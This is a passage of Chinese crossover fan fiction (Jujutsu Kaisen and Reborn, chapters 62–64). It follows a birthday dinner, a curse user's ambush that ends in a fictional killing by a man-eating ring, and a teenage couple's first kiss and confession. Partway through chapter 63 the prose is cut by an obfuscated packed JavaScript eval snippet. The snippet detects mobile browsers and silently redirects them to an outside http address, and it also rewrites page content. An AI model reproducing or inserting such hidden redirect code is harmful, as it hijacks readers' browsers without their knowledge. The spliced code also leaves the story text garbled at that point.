她摇头。 五条悟开始拿可尔必思和出租车钱开始说事。 小莳将五条悟正式册封为古埃及掌管土豆泥的神。 “是黄油土豆。”他纠正。 小莳问侍者要了干净的勺子,“可你现在强迫我吃的是土豆泥,我这样挖一勺品尝,其余的给你没问题吧。” “那是因为这个土豆泥的味道和黄油土豆很像,只是加了牛奶,少了欧芹碎。完全没问题,就算用吃过的勺子我也不介意和小莳间接接吻哟。” “那为什么不能就实事求是的叫它土豆泥呢?如果你对黄油土豆感兴趣我可以分享一个食谱给你,”小莳和五条悟斗嘴也没忘记动作,她尝了一口,把嘴角的残留也舔去,然后说出结论:“比这个好吃多了,我不想和你间接接吻,你年纪太大了,我七十二岁的时候呜呜呜呜呜。”话没说完就被斜对面飞过来的手捂住嘴。 “小莳同学,你没有羞耻之心吗?怎么能在孩子们面前说这些!” 他急了他急了,他又急了。 “哦。”小莳这么说着,嘴角却因为小胜一场而不自觉上扬。 羊肚菌炖牛肉,美味。 现场急了的人不止五条悟一个。 再一次,伏黑惠感受到了像是帐一样难以打破的结界,并非有意把他人排除在外,虎杖和钉崎也都混不在意地接着互动,接着招手唤来餐车要新的甜点和面包,只是即便他想,也难以加入他们好像加密一样的通话。 伏黑惠和五条老师有了九年的相处,少有人比他更明白这人的轻浮个性,从五条悟嘴里说出什么话都不值得奇怪。但是间接接吻什么的也太……他眼眸暗了暗,低头搅动盘中浓汤,没什么资格打断老师的胡闹。 反正,小莳说了对他不感兴趣了。 有点可悲,只能做个局外人,心不在焉用餐。 五条悟接到一个电话,然后他慢悠悠吃完了土豆泥,在大家都觉得无事发生的时候宣布:“接到一个一级的任务,事不宜迟那我现在就出发咯~” “蛋糕还没分,你早干嘛去了?” “毕竟是小莳特意送我的土豆泥,那我当然要吃完,至于蛋糕,哼,反正小惠也不希望我呆在这里,吃完土豆泥我就走!” 丢人。 有五条悟在场小莳觉得自己像是相亲时带着7岁熊孩的30岁单亲妈妈。 五条悟离开之后现场没有静默,谢天谢地虎杖悠仁是个抗尴尬能力被点满的元气男生,也有点搞笑男天赋。 “伏黑,要点蜡烛吗?” “不要!” “生日帽呢?” “……也不要,闭嘴,直接切!” 小莳纠结片刻,最终决定去甜点餐车拿块可露丽作为氛围组,顺便绕路去结了账。回来的时候就听见了伏黑惠暴躁的回应。唔,伏黑也有这么凶的一面。 “不等泽田,啊,泽田,你回来了。” 小莳走近时就将铃铛造型的小甜点一口塞到嘴里,没什么仪态地朝他点点头,算是问好。顺便瞥到伏黑略带尴尬的表情。 难道真是她以前没有关注过这些?今天好像看到了伏黑惠和以往形象很不同的一面。 挺有趣的。 最后小莳分到了和野蔷薇差不多大小的蛋糕,她们都有点吃不下了--野蔷薇在一开始吃了太多的餐车面包。 虎杖直接干掉了四分之一。他在小时候绝对是那种很讨老人家喜欢的孩子,活泼开朗还能吃。她没太关注谁具体吃了哪些……但账单上额外点的一份烩饭多半是出自虎杖。这么朴实的菜名都能提起他的兴趣……好好骗的样子。 最后还剩下半个多蛋糕,需要冰冻保存,而学生宿舍不配备冰箱。 小莳建议:“就放在这里让他们处理掉。” “蛋糕之神会哭泣的。我搜过了这款要8000。” 刚刚说着吃不下了的虎杖拿起刀:“我觉得还能再来一块。” 醒醒,再来一块也还有好多。 伏黑惠也认真思索起来:“这个点回去前辈们应该都歇息了。”也不能分出去。 她看三个人都计划着打包,很是不解:“虽然冰激凌蛋糕味道不错,但也没有好吃到一定要留到明天的程度吧。” 伏黑:“习惯了把吃不完的留到下顿。”他还打包了一袋面包。 虎杖:“小时候爷爷有教过珍惜每一粒米,不想浪费。” 野蔷薇:“可是它真的很贵,舍不得。”她也带了一纸袋面包,还用彩带把它们起来。 好吧,“如果你们后天之前能吃掉的话,可以放我寝室的冰箱里。或者你们谁寝室还有空地,我送一张冰箱半年体验券。”半年抛型幻术冰箱。 他们不太明白,小莳进一步说明。 “好厉害!幻术这么神奇的吗?呀,泽田你果然很强,能认识你真的太好了。”虎杖的意思是,请务必赠予他一台冰箱。 “太狡猾了,小莳亲我们是天下第一最最好的姐妹对吧!” 不,倒也不是。 “野蔷薇你和伏黑不是顺利晋升了吗?任务津贴应该比虎杖多不少。”虎杖因为高层偏见,至今连队都没排上,比真希还惨,不过因为小莳的打断,这两人结果都是一样的,四级。 被巴黎世家抢劫了,茶色头发的少女支支吾吾。 小莳想这也并非难题,“那今晚东西先放我这边,明天我去你们宿舍看看。”专业冰箱安装人士准点上门。 晚餐正式结束,虽然和伏黑惠关系不大,话题也并非集中在他身上,但今天确实是为了给他庆生而来,小莳没忘记给他送礼物。 虽然礼物是让奈亚随便选的“明天去商场帮我挑个生日礼物,男,16岁,高中。”她到现在都不知道盒子里放了什么。 看牌子和盒子的大小,排除打火机和耳环指环,应该是挂件胸针或者手链一类的、每家奢侈品店都会有的、适合打工族宝宝暗戳戳产生“身价提升”错觉的万元级别单品。 想到这里小莳怪不好意思的,如果是几天以后再送礼物,现在的她至少会抽空自己去选购。 “我准备的礼物在宿舍,回去给你。” “啊,我也是。” 伏黑惠将包装精巧的小礼盒握在掌中,转眼就看到两位朋友在不熄的银光下冲他笑,还说准备了礼物,在他们的笑脸后,是漆黑夜空下没有遮挡的东京塔。 数百米的榉树坡带着点点光一路蔓延,照亮了一场银装素裹名为六本木的梦。他不合时宜地想起几个月前八十八桥那天晚上,自己也是回头就看到了两个平常喜好犯蠢,但关键时刻敏锐异常的人。和伙伴们一起度日的感觉倒也不差,他这么想着。 “伏黑,你是不是笑了。” “没有。” “虎杖,伏黑一直都是这么嘴硬,你 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在那之后,野蔷薇拉着虎杖先回学校,将蛋糕也一并带走:“到时候后和礼物一起放在你宿舍门口啰,我们两个加起来都不如伏黑你细心,每次出去攻略也都是你做,这次手机配件也交给你了。”最好把手机壳也选一选,再去三楼选几个挂件,完了再在今年布置的圣诞树那边再逛一圈。 野蔷薇迅速和虎杖走人。说走人也不合适,他们是跑着溜的。 小莳原本是想四个人一起打的回高专的:“我都想在网上买了,他们走的好快。伏黑你太客气了,明明是应该好好休息的时候,还浪费时间帮我挑东西。” 买日用品实在算不上dokidoki时刻,更何况还是人家生日,既然有几分喜欢,就不能只顾自己心意行事,她希望伏黑惠能过得开心些。 至少不必因为自己加班。 她不知道伏黑惠正因此开心。 “没什么,正好来到市区。而且劳你破费了,”伏黑惠低声说,声音溶于夜色和熙攘人群,幸而小莳站的够近,他又问:“我可以拆礼物吗?” “不算破费,最近奈亚给我创收了一些。当然,请吧。或者如果你觉得在外面不方便,回宿舍也可以,我都没关系。”小莳说话时面色古怪,毕竟这算是来路可疑的血汗钱,而且不知道今天怎么了,下午幻术消耗的火焰有点多,可能是又有赏金猎人成群结队跑到学校去,抢着在年前拿下7亿KPI。 伏黑惠不想等到更晚了,他停在一颗榉树前,从人流攒动的动景中脱离出来,光映得他于树下的面庞雪白。小莳和他同样好奇盒子里装的是什么,等他好看的手打开盒子,里面红色皮绳串的一颗金铃铛就暴露在空气中。 “好可爱,我是说再看一次果然还是觉得买的对。”像挂在猫咪脖子上的铃铛,红绳末端还有银色扣头,是手链。小莳假装和礼物很熟悉的样子,建议他:“我看你手上并没有配饰,如果不习惯也可以挂在手机和包上,红色和铃铛都很吉利,正好也快新年。” 对不起,伏黑,现在实在不能说“不好意思这其实是我打发助理跑腿买的,因为我当时没怎么在意你,但我现在突然就对你有点好感。” 她补丁打得够快,伏黑惠没发现一点端倪。 “谢谢你的礼物,我很喜欢。看起来有些难戴,你可以帮我戴上吗?” 深表怀疑,这看起来一点也不难,胳膊弯过来另一只手一扣就好。 但小莳看见伏黑尝试,然后失败,还差点把手链弄掉--幸好他最后成功接住,笨拙之余又有一点敏捷和幸运。 “好的,右手吗?”接的时候又不凑巧指尖相碰。他的指尖划过她的指腹,轻微的痒意引得她一颤,鼻子都有点痒,想打喷嚏。 得到他肯定的答复和伸出的手后,小莳低下头,认真帮助他戴手链。想摸一下,但是首先这种想法有点令人不齿的下流,更重要的是在对方眼皮底下……其次,小莳觉得自己还是应该区别于色鬼的。 因此规规矩矩,连多余的表情也没有。只是在佩戴好后轻轻挑动了下因重力耷拉的金色铃铛,让它发出“叮”的清脆声音。 真可爱,人和铃铛都很是捏。 伏黑惠比她高一点,没到一个头的程度,她稍微抬头就能看到他垂下的视线,冲对方笑了一下:“好了,还习惯吗?” 她退开。 “嗯。”人和礼物,他都很喜欢,也希望有机会习惯。 商场里的人反而没街上多,选购的过程小莳一路没参与,伏黑惠对着型号很快就找到了适配的尺寸,从进店到结账一共5分钟。 她在这期间揭开了未解之谜--年底KPI的面纱。 夏油杰和五条悟多半通了讯息,但不在一处,两人差不多同时给她发来贺电,暗网赏金突破20亿大关,夏油杰还额外叮嘱非必要不公开回村。年底了,事多。最好多留在高专,压力给到五条悟。 小莳没理他,多半是想胡过24号,想得美。更何况那天本来就有业务要她回去处理。 结账后她就将消息告诉了伏黑惠,还有点小开心的做起了数学:“现在我是20个五条悟了。” 伏黑惠头一次听说悬赏的事情,小莳这才想起自己当初7亿身价也只在暗网上传播,五条悟作为教师大概率还是会保护学生们免于不良信息打扰,即使学生们已经成为一级左右水准的咒术师。 在这点上他和七海海倒是相似,再强大的学生也是学生,社会上的事情毕业后再说。小莳对这些分得倒不如那么细致,她入行太早了。 五条悟那样做可能也和当年天内理子的事有关,一般高中生确实想不到明码标价的悬赏也不过是一次有的放矢诱饵,真实的杀招黄雀在后,其实是私人委托哒。 伏黑甚尔真的有够聪明,悬赏3000w然后外包,四舍五入白嫖了劳动力,最后堂堂登场,给三位学生造成了不可磨灭的影响,其中还有一位是年仅15的初中生。 真坏,但如果是她的话可能也逃不了。 她没见过前男友认真起来的样子,以为同为天与咒缚差不多是机械丸的水平,比真希稍强些。 但之前顺口提起的时候五条悟是这么和她说伏黑甚尔的□□强度的:“和真希不完全的咒缚不同,他是完完全全没有一丝咒力;与幸吉君也还吊着一口气,如果是他的话,要到缸中大脑的残缺级别才能和伏黑甚尔相提并论。” 不太惭愧地说,小莳有着稀碎的侦查能力,还有三天打鱼两天晒网的体术,以及满分十分能打七分的身体素质。 原来甚尔与真希之间也存在决定性的差距吗?如果被秒掉的话,再强的幻术都不顶用。 虽然这辈子见面的机会渺茫,米花町也没有他大展身手的空间,但小莳并不常报侥幸之心,她的不少任务目标和业内流传甚广的案例都是前车之鉴。咒术师又有着强悍身体和千奇百怪的生得术式,遇到什么情况很难说。 Jump漫画里都是这样画的,实际经历也确实如此,人类的青少年时期实在容易发生变故,有条件的话她不希望再有心理阴影出现在自己身上,或者死掉。 赶紧苦练身体还有反转术式。 “请不要露出这样的表情,我觉得自己现在应该挺难杀,而且大部分诅咒师都跑到百花王去了,我在高专的时间不长,知道的人也不太多。” “……” 伏黑惠没说什么,脸色挺难看,小莳原本还希望再和他在城区里逗留一段时间的,大概是不行了。 算了算了。 打车到筵山。 出租车上,小莳挥手隔绝头发花白的司机的视听,然后问伏黑惠:“你好像不太开心,是因为我身上背着悬赏还和你们一起出行的缘故吗?” 如果答案为是,那就有点无聊。对危险人物感到害怕于学生来说也算人之常情,不过对方可是能和虎杖悠仁成为好友的人,比宿傩干掉的概率明显比赏金猎人大多了。 不应该呀? 故有此一问。 “没有,我只是……对不起,因为我的缘故你又离开高专,如果被看见的话会泄露行踪。” 小莳突然凑近伏黑惠,“不,你大概完全误会了,我并不把他们放在眼里,说出数字只是为了炫耀而已。” 他的侧脸突然红了。 “谢谢你的担心,伏黑。” 小莳产生了想要再靠近些甚至亲上去的心思,正因如此她退回了让自己不再胡思乱想的舒适区,窝在另一侧。 63. 第 63 章 筵山山角,小莳和伏黑到达目的地。幸好高专内有宿舍,不然每天上学还得爬到山麓,体验一把山区走读生到镇里上学的艰辛。不过最近小莳都有白龙接送。 只是偶尔和满意的对象走在荒僻无人的水泥山路上也不错。 善意有限的司机只在最后做出提醒:“这附近我听都没听说过,你们两个学生样子的如果没什么事还是早点回家吧。”看样子是把他们当成寻求刺激或者来参加什么试胆大会的非主流高中生了。 “那你应该早点说明的,老爷爷。”一句话将司机师傅剩下的劝诫锁在喉咙里,“谢谢你,不用找了。” 给了两张万元整钞。 等车驶离后,小莳才和旁边的伏黑吐槽:“这就很像电视里看到的完事了劝人从良的情节,不过他大概有点拮据,一把年纪还在奔波,能在收钱前有点余力关怀青少年心理健康已属不易。” 伏黑惠还在为老人对于他们关系的猜测而感到害羞,就听见小莳奔放的描述,步子一缓,就落在了她身后。 小莳这才想到身边这位不是什么同学朋友伙伴,而是她有点兴趣的清纯男高。好像不该说这个,说点别的:“不过大概确实不太有人能想到,建在山麓的那些寺社佛阁都属于高专,我在网上甚至不太能看到关于对外假称是宗教学校的相关帖子。校长老师在这方面工作大概没少做。”再偏远也是东京都内,人口基数摆在这里,还能得一隅清净。 伏黑惠配合地往下说:“大部分建筑都会因为天元大人的结界而变换配置,就像每秒计算千百次的计算机,每分钟都会变换密码,只有被允许的人才能找到通往忌库和下层薨星宫的路。” 听起来很厉害,但是11年前有人跟着前人的脚印气味一路追到薨星宫,几个月前交流会有咒灵跟着被下了标记的宿傩手指一路摸到忌库,还顺走了点东西……天元一路活到今天靠的说不定是祥瑞之气。 小莳心里对于这个千岁老人没什么尊敬,所以肆无忌惮的编排,但看伏黑尊称一声大人,便没多说什么。再走过三个坡道,就要抵达高专大门。 小莳和伏黑有一搭没一搭聊着无关紧要的话题,至少在她看来,他的声音比内容有趣多了。直到伏黑惠主动挽住她的胳膊,凑到她耳后说话,她才意识到事情不对。 他说:“有人在跟着我们。” 不管这人是谁都谢谢了,小莳心想,虽然她完全没注意到。 殊不知伏黑惠此时也是差不多的想法,她身上的咖啡香气被发尾原本沾染的香波味道覆盖,想是香水留香时间已过。他讲话时嘴唇被发丝摩挲,寒凉的痒意便顺着一张一合蔓延到心底。 小莳顺着力道还自己走了两步,挪到伏黑惠前面,如果从后面看大概会以为一男一女在相拥,“怎么办,回去?” 进了高专结界就安全了,感恩天元,今天不偷偷说你坏话了。 小莳估摸是年底冲业绩的,通过投机取巧的方法或者巧合看见了行走的10位数,因为暗网的错误信息以为她本人和私立百花王的人偶一样,没有战斗能力。但身边又出现了另一个一级,投鼠忌器。 今天心情不错,她打算放过了。 手腕上的力道更收紧:“那人应该不会轻易放过的,而且消息传出去会对你有影响。” 想要保守秘密,排除对方自觉主动立下束缚的可能性,那就只有从会呼吸的人类,变成无法呼吸的肉块。 她不觉得身边的男孩做好了准备,高专学生在涩谷之前的PVP机会貌似只有一年一次的交流会,而涩谷也不过是一场六个小时的月末加班--凌晨帐被全部解除后,就安排辅助监督和在职咒术师善后了,京都校来支援的学生被安排和东京高专这边一起回校休息。 还是个没做好准备的孩子呢,关切的好意她心领了。 “要不还是算了,出去玩挺愉快,就这样结束也不错。以后的事情以后谈。”小莳印象中,第一次刀人的感觉类似初潮,总归和开心不沾边。既然如此,他又还在过生日,何必是今天。 可惜被宽恕者本人对两人的密谈内容一无所知,眼见状似情侣的两人站在原地腻腻歪歪窃窃私语,正因此和一般学生并无差异,对二人轻视之心更甚,觉得不过尔尔。 他自己跳出来了。 小莳对自从了解咒术界以后,接触了很多新的知识,其中她有一点难以理解的就是术式公开。不太理解说出来就能获得增幅的具体原理,让她想起一些人战斗时候一定要大声喊出技能名这种中二设定。 她是喜欢静悄悄的暗中料理,或者确保无人生还以后再放飞自我。也许这就是阴湿的hitman气质。 伏黑惠松开了手,摆出手影,术式蓄势待发。小莳是觉得这种时候没必要认真听完对方讲话的,她把对方的术式简单理解成可以感应20米以内的树木植被并且一定程度上的操纵它们。 山路两旁种满了长青的树,树龄大约比三人加起来都大。好可怜的树,好活歹活勉强有了如今的根系和枝干,现在一夕之间却要因为诅咒师的术式连根拔起了。 小莳接下飘落的一片叶,看着簌簌摇晃的树,打断对方。 “这位……将死之人,”先生先生,先生的先死没问题吧,如果是人类对战人类的场合,没有自信心的话不打就是,而如果十分肯定能获得胜利,何必要再公开多此一举:“对付小鬼还要大费周章说一堆带到坟墓里的话,你也太自相矛盾了。” 她垃圾话一直可以的,嘲笑了实力又嘲笑了脑袋,在对面咬牙切齿讲完话后也成功金蝉脱壳--自从涩谷那晚之后小莳就有了随身携带小傀儡的习惯。 毕竟人的生命只有一次,多来几个替死娃娃还是不错的选择。每天起床前在枕头边找点头发,积攒十几根捋个结出来,连血液都不需要,就是最简单的小道具了。 沾染了她的气息,幻术更容易定位塑造。 小莳的真身隐没在乌泱泱的树影中,这里没有路灯,清冷月光下树影婆娑又晃得厉害,落在地上的漆黑影子就成了怪物张牙舞爪。 她的第一枪没空,但也错失要害。小莳特意用咒力加强了双眼,她清晰地看见子弹射出后那个没透露姓名的家伙抽身甩开脱兔朝本该在他眼中什么都没有的后面看了一眼,那就是小莳来时的方向。 她很快想清楚了其中关窍,比起一般人的五感,发动术式以后的诅咒师还能再额外从植被中感应到特殊的动静。 而且看样子对方也很快用咒力控制住了伤口。所以说咒术师还真是千奇百怪,眼前这位就有点意思。 余下的子弹她没什么留恋打了出去,对方在缠斗之余还能人体描边,不过幻术比较耍流氓的一点是,只要有一瞬间对方相信了那是真实,那么对他造成的伤害都会如实成真。 而小莳的枪,不需要真实的子弹。 所谓幻术,就是控制掌管人知觉五感的大脑,控制力与术士的能力直接相关,而在这方面,咒术师们整体缺乏经验,眼前这位显然也不是有天赋的。 伏黑惠召唤出的□□有点像范塔兹玛,都丑,现在它们用舌头缠住了目标的手脚,她的下一发直接命中后脑勺。 咒力来源腹部,而反转术式要靠大脑发动,根据咒术界的小tip得知,此时这人大概率还没走。如果是一级咒术师的水平,可以做到在子弹伤害的路径上用咒力维持人体运转,这也就是一般人随便哪挨一枪就要歇菜,而咒术师还能接着战斗的原因。不仅仅是加强了的身体素质,还因为咒力本身凝聚于身体就可以用作肾上腺素和紧急绷带。 因此,现下他一动不动多半是有后手,在等时机。 “作为人类,其实我其实挺佩服不到最后一刻不放弃的永不言败精神。”要把这钻研精神用在别处怎么也够得上人类的群星闪耀时了,小莳一步一步朝伏黑惠走去,当然,还有道路上一动不动的那位。 伏黑惠以为是在和他说话:“什么?” 小莳朝他微笑了一下,但是接着说:“但是很多时候并不是不言说放弃就会成功的。如同地上的虫巢蚁穴,并不会因为蚂蚁的意志而留存,如果不幸有一个小孩路过,踩一脚,蚂蚁的坚定信念也没办法挽救自己被压扁的命运。” 小莳在三步以外的距离停驻,蹲下,右手撑在膝头托着腮。 “伏黑,你可以转过身去吗?背对着我,别回头。”小莳的话理应被身后飞袭来的树叶和树枝打断,而她本人理应被攻击到肢体支离破碎,至少那位诅咒师是这样认为的。 在交手片刻后他就认识到了小鬼的难缠,但他还想搏一搏试图越过十影突袭20亿,却没料到那女孩也不是情报里的孱弱无助,在没人知情的情况下竟然就这样来到他身后,幸好地上的新落叶还没与他断联,他意识到身后有人能,有了防备。 贪婪,会让人目光短浅,这位诅咒师花了眼,一步一步偏离生门,走向末路。 “怎么可能,你是什么--”小莳食指竖于唇前,黔驴技穷的诅咒师立刻噤声。 骨残像指环抵挡了全部的攻击,小莳想这人差不多也就是一级或者准一级的水平,真是假情报害人,也不知道奈亚平常是怎么解决不长眼的家伙们的,怎么都传成她本人能被这种水准的干掉了。 她抬眼,伏黑惠已经转过身去,只是他双手没有摆在身体两侧,估计是背着她随时准备放十影,背脊也紧绷,看不见的后方有人确实让人不安,但小莳只是不想让他看见自己处理不可回收垃圾的场景。 她有点不耐烦的抱怨:“你至少也得修炼到特级再来考虑接我这单吧。”下辈子注意点。 “求求你--呃!” 本来想干脆利落送走的,结果这家伙也不是什么有骨气的,竟然只是原先有自信能绝地反击?不是,他哪来的错觉啊,小莳挺讨厌那种没有与自满程度相匹配实力的人。 她开始作自己的解说,说出来的都是气人的话:“你可能以为我会和你解释一下为什么能挡住你的术式,但你以为错了,因为我是一个很重视隐私的小女孩。” 以俏皮话为背景,看见对面笑不出来又很勉强捧场的邋遢表情,小莳颇有兴致的点题主旨:“有句话我一直都很想说,苦于找不到机会,但我觉得此情此景此时此刻就不错。”在瓦利亚的时候害怕给大家心理阴影。 “【你的败因只有一个,那就是与我为敌。】”话音没落,在对方临终的恐惧情绪中,左手食指的地狱之眼开始了冬至的第一顿大餐。 肉食指环,一分钟内可以把大象那么大的肉块吞食,小小新鲜人类不在话下。而且被瞪视的对象会身体僵硬、丧失思考能力,就像被猫扒住尾巴摔在地上的老鼠,恐惧到连被吃掉的时候都发不出声音,声带那边的肌肉应该也僵硬了。 在一阵令人心悸的吞咽和咀嚼声后,这里恢复了静谧,只有原本老树所在的地方露出了天空,月光肆无忌惮地洒下,照拂在人身上。 小莳搓搓手掌,站起身。 “走吧,伏黑,问题解决。” 伏黑惠回头的时候,那里除了折断的树和一地泛白的残枝落叶,什么也没有。 她回答他无声的的提问:“没错,被我的指环恰掉了,冬至的习俗就是吃点热乎的。毕竟是收到诅咒的指环,有点异食癖很正常。” “……”地狱指环,世界上仅有六枚,而现在其中三枚都在彭格列。使用地狱指环,战力将会大幅提升,然而与之对应的就是使用者的精神会被削弱,甚至会被受诅咒指环中的恶灵扰乱心智,乃至发疯死亡。他有顺便看过五条老师那边的情报,意大利的黑手党那边原本虽然有7^3的类似于御三家的结构,但在十几年前玛雷指环就被垄断封存起来,如今也只有小莳手上一枚不知为何流落在外,而复仇者和彭格列都不打算追究,而同样是十年前被诅咒的彩虹七子也被抹除封印和契约,时到今日意大利和并盛完全就是彭格列的天下。 他早就意识到小莳的天才和特殊,她和夜蛾校长都有自己的【造物】,虽然原理不尽相似,但熊猫和奈亚拉托提普无疑都是有自我思考能力的独立个体,而其战斗能力……能让原本7亿的赏金膨胀到三倍,可以想见。 而她也才将近18,10天以后生日。 小莳没在意伏黑惠的安静,她在想问题。 ……她的直觉一向准,在战斗的时候尤甚,可以理解为敏锐的不像话。她刚才清清楚楚看见伏黑惠在诅咒师孤注一掷发动压箱底术式时的惊慌紧张涣散表情,她又感觉对方喜欢她了。 小莳在想,我不是那么自作多情的人吧,她回忆在米花的时候,她是什么时候发现伏黑甚尔喜欢她的?前尘往事,和历历在目相去甚远--因为是潜意识里想忘记的,所以并不会时常想起。直到被高专台阶绊了一下,然后伏黑惠眼疾手快扶起她,她才想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413131|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到: 原来是在和园子逛便利店买了很多不必要饭团的那天。 伏黑甚尔不是个对伴侣挑剔的男性,不,应该说他不是个对女人挑剔的男性,好看聪明又有钱的年轻姑娘他没理由不喜欢。 那没什么参考价值,伏黑惠看起来没那么杂食,而且以前也没有恋爱经验,看起来也比伏黑甚尔有更多的责任意识:不会随便开始,也不会胡乱拍屁股走人。 这次是不基于理性推断的纯直觉。 线索断了。 她又开始想今天中午他提到的喜欢的类型,喜欢小动物和爱笑什么的……简直就像在说喝了水的人类最后都会死一样:所有人都喝水;所有人都会死,所以所有喝了水的人类最后都会死。 实话,也是废话。 十个女高九个算,真要这样说他也算兴趣爱好广泛。 种种未知和可能性缠绕住了小莳,这是一个在答案揭晓前都难以思考出的谜题,正因如此才扩大了她的好奇与难言的情绪。 伏黑惠就在她身边,见不到的话倒还可以不去想,可一旦这样能听见他的呼吸,能听见他的脚步,他还挽着她……刚刚被扶起后就一直没松手,两个人都是。 可一旦他们如此靠近,她就难以忽视自己求而不得的答案。 好坏啊小莳,比起对方本身,好像你更在意是与否的回答。她漫不经心对自己说。 但她就是没有办法平静地看待这件事。 也许今晚不应该打那个诅咒师,战斗完以后脑袋都不能冷静下来了,每个细胞活跃在自己感兴趣的事务上,贪婪地消耗血管里运输来的氧气,而产能只是让小莳心绪不宁的未解之谜。它们蛊惑着主人,告诉她:答案就在你身边,何不或试探或摊牌地向他发问;劝诱她:反正你的前男友在彼方世界,他和他儿子此生再也不会见面。 她大概是有点精神不正常了。 如此僭越的观点并不是正常大脑能诞生的。 她需要缓一缓。 几个吐息之后,她意识到,比起追求答案,自己对对方的喜欢才是更为重要的事情。这么简单的常识她居然走到礼堂才想起。 小莳从伏黑惠的胳膊里抽出手,原本被勾着的手腕暴露在冷冽的风里,感受到了凉意,她轻声说:“谢谢。”心中迷茫的路径也到尽头,露出开阔的山峦湖水,豁然开朗。 确实从今天下午开始,她就产生了“有点希望和伏黑惠在一起”的念头,因为那一眼,他的眼睛里有种朦胧的彷徨的情感,但在她看来那就是邀请。 坏了,她好像和那些男人有点像了,因为看一眼就总觉得人家喜欢她,说不定根本没有呢? 说不定他只是在想“她压到我了”。 他确实有很好看的眼睛。 一路胡思乱想着。 小莳落后于伏黑惠几步,跟着他进了宿舍楼。在上楼梯的时候她并没听见下面人离开的脚步声,回头,说真的,这灯该换了。柔和点的暖光要远胜这种白光,她讨厌白光。 上一次好像也是这样,伏黑惠就这样在楼梯下望着她上楼的背影,他为什么不回宿舍?问题想起的同一时刻,直觉就给出了毋庸置疑的答案。 他真好看,小莳再一次见到了他眼里朦胧盛着的一汪绿水。 小莳心想:见鬼的,我还没成年,小孩子嘛做点错事很正常。她又想:也未必是错事,他不喜欢我他看我上楼干嘛。 她转身,下楼,在对方没开口说话时,勾住他的衣领,然后亲吻了他。 很喜欢玛蒙曾经说过的一句话:锻炼体术的术士都是歪魔邪道。六道骸对此点了个踩,但小莳奉为圭臬,直到她来到咒术高专。 无论如何她这个半吊子的身体素质很难和从小锻炼的咒术师相提并论,而她现在也没有凝聚咒力加强身体,伏黑惠如果不情愿的话无论如何都能躲开。 直到唇上温软的触感传达到大脑,小莳才对发生的一切有了实感。哦,看来没躲开。 她想得很快,现实中这一系列事情不过发生十秒之内,小莳不太礼貌地在得到同意之前便凑了上去,随后一触即分,连浅尝辄止都算不上。这时候她倒收起街边不讲理摊贩强买强卖的态度,守起礼仪来。 她没抬头看伏黑惠的眼睛,但松开将人勾近的手,他也没有退后,小莳的渴求水位线再次越过了名为理智的闸门,她任由自己被淹没,她再一次【亲吻】伏黑惠。 这次稍微深入一些,没怎么费力就撬开他齿关,绕着他的舌尖打转,勾着他,拍打他,引诱他一起加入被自己临时起意召开的筵席。 他的回应生涩而热诚,小莳的手改为环他的腰,好细,比真希的好摸。另一只还在他侧脸与耳后逗留,指尖摩挲按压着少年耳垂的软肉。 根据小莳迄今为止仅两次的【和不太熟悉的人接吻经历】来看,她是一个比较喜欢亲完就跑的姑娘。如果要提起一年前多在沙发上那次,一是那并非她主动索求,二是她那时候真没打算和伏黑甚尔恋爱,一定要说的话,那最多只能被定性为色字头上一把刀。 但这次实打实是她主动,而且她也确实产生了想和对方在一起的念头……这种时候如果还想着离开就太不负责任,她必须得说什么。可恶,刚刚没来得及想就冲下楼,现在傻眼了。 考验临场发挥的时候到了,小莳后退一步,脚跟抵到了最下层楼梯,她低头掩唇给自己争取点思考时间。 “我--”喜欢你,或许你愿意谈恋爱吗? “你--” “你请讲。”既然对方也有开口的打算,小莳立刻收起蹩脚的说辞,好土的话,说出来一定会很丢人,让对方先讲好了。 她倚在木质扶手上,听听伏黑惠想说什么。 他的嘴唇上还有润泽的水渍,在糟糕的白炽灯光效下显现出诱人的反光,被她轻轻咬过的嘴唇也泛着鲜艳的颜色:“就是,” 有点卡壳,但伏黑惠还是坚持红着脸把话说了下去,语气忐忑紧张:“我们要到明天在一起吗?” 这话给小莳噗嗤乐出笑。 “不,傻瓜。”她挑起伏黑惠的下巴,他顺从地自己抬起头,小莳为他抹去唇边水渍,站上台阶,双手搭在少年的肩上,视线于他差不多平齐:“那只是玩笑话。” 然后整个人埋在伏黑惠身上,于他耳边轻声说:“我喜欢你,请和我交往,伏黑同学。” 64. 第 64 章 伏黑惠在听见小莳的笑以后才意识到自己说了愚不可及的话,只是方才二十分钟内发生的事情就像做梦一样,梦中人自以为说出的是至理名言,清醒以后才知是怎样令人羞愧的字句。 直到她齿关摩擦他的耳垂,对他说出“请和我交往”这样的话,他又坠入到另一场梦中,大脑,心脏,五脏六腑,好像都进入了时间静止的狭小兔子洞,里面是永不停止的下坠。 这种话明明应该是男方来说。 小莳的话让他清醒过来。“伏黑你也是觉得男性在情感中应该掌握主导权的那一类人吗?” “不,我只是想更主动一点,让你明白我的心意……小莳,可以叫你小莳吗?” 这个回答大概是取悦到她的,伏黑看到她唇边蔓延的笑意,听见她饱含欢悦的声音:“当然可以。”她也许还想再说些什么,话语却被楼梯转台的声音截住。 “小莳,你回来了。” 是她的匣兵器,以及造物,奈亚拉托提普。那个平日里沉默寡言却常以带着殷切笑意女性形象出现的奈亚,今晚是黑发绿眼的俊美男性,而且身上的衣服也有些凌乱,嘴角有被打过的青黑痕迹。 看样子遭遇了些什么暴力事件。 小莳比她刚确定关系的男朋友更震惊,她声音都变了,“谁能把你打成这样啊?!” 如果以银行卡来比喻小莳和奈亚力量的关系,那小莳就是主卡持有者,其中贮存着数不尽的存量火炎,而副卡拥有者的每一笔大额消费都会通过手机短信的形式告知到她。她原本只以为今天是花的钱比较多。 没想到是孩子遭遇了不测库库刷钱。 小莳匆匆和伏黑惠道别,拉着自家造物一路上楼,回房。 “我晚点找你。”她在男朋友持续升温的左脸上留下旖旎的一个贴面吻,并这么向他承诺。 * 奈亚的一天 